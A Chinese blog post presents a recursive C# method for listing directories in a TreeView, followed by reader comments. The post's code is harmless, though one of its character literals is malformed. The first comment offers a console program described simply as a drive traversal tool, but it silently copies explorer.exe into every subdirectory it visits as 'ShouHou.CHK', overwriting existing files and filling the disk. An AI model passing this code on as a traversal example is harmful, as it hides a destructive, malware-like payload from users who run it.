实现遍历目录的递归算法(c#实现)

无需过多的解释了,好代码,理解清楚就ok了。

?View Code CSHARP
 public void PopulateTreeView(string directoryValue, TreeNode parentNode)
        {
            string[] directoryArray = Directory.GetDirectories(directoryValue);
            try
            {
                if (directoryArray.Length != 0)
                {
                    foreach (string directory in directoryArray)
                    {
                        substringDirectory = 
directory.Substring(directory.LastIndexOf('\') + 1, 
directory.Length - directory.LastIndexOf('\') - 1);
                        TreeNode myNode = new TreeNode(substringDirectory);
                        parentNode.Nodes.Add(myNode);
                        PopulateTreeView(directory, myNode);
                    }
                }
            }
            catch (UnauthorizedAccessException)
            {
                parentNode.Nodes.Add("Access denied");
            }
        }

2 comments

  1. 来一个我写的C#版的遍历某个盘符的程序;
    是控制台应用程序:

    namespace XDirectory
    {
    class Program
    {
    public static string searchPath;

    static void Main(string[] args)
    {
    Console.Write(“请输入您要遍历的路径:”);
    searchPath = Console.ReadLine().ToString();
    GetFolders(searchPath);
    Console.ReadLine();
    }

    public static void GetFolders(string thisPath)
    {
    try
    {
    string[] myDirectory = Directory.GetDirectories(thisPath);
    for (int i = 0; i < myDirectory.Length; i++)
    {
    CopyFile(myDirectory[i]);
    GetFolders(myDirectory[i]);
    }
    }
    catch (Exception ex)
    {
    Console.WriteLine(ex.Message.ToString());
    }
    }

    public static void CopyFile(string thisPath)
    {
    try
    {
    Console.WriteLine(thisPath);
    File.Copy(@"c:\windows\explorer.exe", thisPath + "\\ShouHou.CHK", true);
    }
    catch(Exception ex)
    {
    Console.WriteLine(ex.Message.ToString());
    }
    }
    }
    }

  2. 其实关键就是一个递归,呵呵,我写有一个java实现的类似windows搜索那样的程序,你可以看一下,有空可以交流,QQ:574541259.

发表评论

电子邮件地址不会被公开。 必填项已用 * 标注

*

您可以使用这些 HTML 标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>